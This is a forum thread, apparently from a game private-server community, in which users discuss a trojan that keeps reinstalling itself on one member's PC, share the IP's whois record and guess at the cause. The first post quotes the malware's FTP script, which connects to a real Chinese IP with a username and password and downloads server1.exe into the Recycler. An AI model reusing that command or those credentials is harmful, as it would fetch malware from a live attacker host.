hmmm TROJAN

somewhere in files is virus

after i ran the server last night then turned off i found that a virus (trojan)
keeps install itself

it puts files in the Recycler in c:/ called hexserver1.exe
and onfserver1.dat
on opening this file it has:-

open 61.160.232.103
123
zhijia521
get server1.exe c:\RECYCLER|onserver1.exe
bye


so i goto ftp client log in username 123 and password zhijia521

carefull now its full of trojan and scanning stuff
also files with lots of passwords and sa type logins.

Please check your recycler in c:/

not sure now if these files are safe :(


I RECOMMEND CHANGE YOUR SA PASSWORD AND DONT USE 123456 USE SOMETHING TOTALLY RANDOM



now i go try fix my pc :(

thank you for the alert

im trying to find a way to block that ip via windows host file

the ftp welcome massage is from hxxp:/ /www. hackeyes. com

i just rebooted my pc and on start up i got this... is this anything top do with it?

Attachment 112440

I don't have anything like that, are you sure is in the server files?

If you have your firewall on and don't run the server as administrator, you shouldn't have problems even with that trojan.

I'm going to download those files and see what they do ^^

well i formatted my pc the first time it happend.
reloaded everything then ran again
and it came back so i suppose must be

Quote:

---

Originally Posted by thenashone

thank you for the alert

im trying to find a way to block that ip via windows host file

the ftp welcome massage is from hxxp:/ /www. hackeyes. com

i just rebooted my pc and on start up i got this... is this anything top do with it?

Attachment 112440

---

serverguarder is part of files but unsure what is cause it

I never have problem like that and I am using axelcro preconfig files for the past few weeks my server runs fine. Must be something else.

I will specificy this, a few users have made repack, which isn't exactly the safest way to go unless the developer is well known for their releases / repacks. As for my release, it is virus / trojan free since it is a simple repack from retail and then put into vm's to be backed up.

well those things are really more like tools fro script kiddies, just to look for MSSQL and remote desktop ports and try to connect to them, I'm guessing since is almost MSSQL related that you got infected when downloading MSSQL server files. If you're using MSSQL express just download it from microsoft, it's free:

Download: Microsoft SQL Server 2008 R2 - Express - Microsoft Download Center - Download Details

thats where i downloaded it from and my repacks i posted are only the files posted on this forum made to work with everyones help.

and i made the repacks not a few people.. and i been work with server files for almost 10 years.
I have virus checker and firewalls inplace and i been work with pc for over 15 years.

as far as the virus goes, I uninstalled mssql and removed traces of it left behind. re-installed it and so far nothing.
so i think was done with sql injection when i had the firewall off for a period of time.


also the country of origin is china from where the ip at top is from

http://www.stopforumspam.com/ipcheck/61.160.232.103

seems lots of people have this same problem

IP Whois - 61.160.232.103


% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 61.160.0.0 - 61.160.255.255
netname: CHINANET-JS
descr: CHINANET jiangsu province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
descr: Beijing 100088
country: CN
admin-c: CH93-AP
tech-c: CJ186-AP
mnt-by: MAINT-CHINANET
mnt-lower: MAINT-CHINANET-JS
mnt-routes: maint-chinanet-js
changed: hostmaster@ns.chinanet.cn.net 20020209
changed: hostmaster@ns.chinanet.cn.net 20030306
status: ALLOCATED non-PORTABLE
source: APNIC

route: 61.160.0.0/16
descr: CHINANET jiangsu province network
country: CN
origin: AS23650
mnt-by: MAINT-CHINANET-JS
changed: ip@jsinfo.net 20030414
source: APNIC

role: CHINANET JIANGSU
address: 260 Zhongyang Road,Nanjing 210037
country: CN
phone: +86-25-86588231
phone: +86-25-86588745
fax-no: +86-25-86588104
e-mail: ip@jsinfo.net
remarks: send anti-spam reports to spam@jsinfo.net
remarks: send abuse reports to abuse@jsinfo.net
remarks: times in GMT+8
admin-c: CH360-AP
tech-c: CS306-AP
tech-c: CN142-AP
nic-hdl: CJ186-AP
remarks: www.jsinfo.net
notify: ip@jsinfo.net
mnt-by: MAINT-CHINANET-JS
changed: dns@jsinfo.net 20090831
changed: ip@jsinfo.net 20090831
changed: hm-changed@apnic.net 20090901
source: APNIC
changed: hm-changed@apnic.net 20111114

person: Chinanet Hostmaster
nic-hdl: CH93-AP
e-mail: anti-spam@ns.chinanet.cn.net
address: No.31 ,jingrong street,beijing
address: 100032
phone: +86-10-58501724
fax-no: +86-10-58501724
country: CN
changed: dingsy@cndata.com 20070416
mnt-by: MAINT-CHINANET
source: APNIC

@you guys

I get that popup to its because it runs install (and not an exe) and that installs it as a windows service just run the uninstaller and fix it to run the exe and not the install.bat

Should fix it i think i just end task mine when i start my pc

that wasnt a pop up... i search the ip address online in google LOL.

Was talking to the other dude :P

Quote:

---

Originally Posted by HackHeaven

Was talking to the other dude :P

---

:thumbup1: